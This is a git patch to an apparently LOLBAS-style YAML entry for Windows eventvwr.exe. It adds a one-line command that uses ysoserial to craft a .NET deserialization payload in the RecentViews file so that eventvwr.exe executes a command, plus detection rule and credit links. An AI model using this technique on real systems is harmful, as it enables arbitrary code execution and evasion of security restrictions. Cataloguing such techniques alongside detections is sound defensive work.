From 8452c1ca9643c56cccfd28796838c3e53facc638 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Micha=C5=82=20Kucharski?= Date: Sun, 13 Nov 2022 20:56:32 +0100 Subject: [PATCH] Update eventvwr.yml with Execute part (#252) * Update eventvwr.yml with Execute part All things added based on https://twitter.com/orange_8361/status/1518970259868626944 and my re-tests. * Update Eventvwr.yml As asked by @bohops * Update Eventvwr.yml --- yml/OSBinaries/Eventvwr.yml | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/yml/OSBinaries/Eventvwr.yml b/yml/OSBinaries/Eventvwr.yml index d5fd50e..4cdace8 100644 --- a/yml/OSBinaries/Eventvwr.yml +++ b/yml/OSBinaries/Eventvwr.yml @@ -11,6 +11,13 @@ Commands: Privileges: User MitreID: T1548.002 OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10 + - Command: ysoserial.exe -o raw -f BinaryFormatter - g DataSet -c calc > RecentViews & copy RecentViews %LOCALAPPDATA%\Microsoft\EventV~1\RecentViews & eventvwr.exe + Description: During startup, eventvwr.exe uses .NET deserialization with %LOCALAPPDATA%\Microsoft\EventV~1\RecentViews file. This file can be created using https://github.com/pwntester/ysoserial.net + Usecase: Execute a command to bypass security restrictions that limit the use of command-line interpreters. + Category: Execute + Privileges: Administrator + MitreID: T1202 + OperatingSystem: Windows 7, Windows 8, Windows 8.1, Windows 10 Full_Path: - Path: C:\Windows\System32\eventvwr.exe - Path: C:\Windows\SysWOW64\eventvwr.exe @@ -19,6 +26,7 @@ Code_Sample: Detection: - Sigma: https://github.com/SigmaHQ/sigma/blob/b08b3e2b0d5111c637dbede1381b07cb79f8c2eb/rules/windows/process_creation/process_creation_sysmon_uac_bypass_eventvwr.yml - Sigma: https://github.com/SigmaHQ/sigma/blob/b08b3e2b0d5111c637dbede1381b07cb79f8c2eb/rules/windows/registry_event/registry_event_uac_bypass_eventvwr.yml + - Sigma: https://github.com/SigmaHQ/sigma/blob/master/rules/windows/file_event/file_event_win_uac_bypass_eventvwr.yml - Elastic: https://github.com/elastic/detection-rules/blob/d31ea6253ea40789b1fc49ade79b7ec92154d12a/rules/windows/privilege_escalation_uac_bypass_event_viewer.toml - Splunk: https://github.com/splunk/security_content/blob/86a5b644a44240f01274c8b74d19a435c7dae66e/detections/endpoint/eventvwr_uac_bypass.yml - IOC: eventvwr.exe launching child process other than mmc.exe @@ -26,8 +34,11 @@ Detection: Resources: - Link: https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/ - Link: https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-EventVwrBypass.ps1 + - Link: https://twitter.com/orange_8361/status/1518970259868626944 Acknowledgement: - Person: Matt Nelson Handle: '@enigma0x3' - Person: Matt Graeber Handle: '@mattifestation' + - Person: Orange Tsai + Handle: '@orange_8361'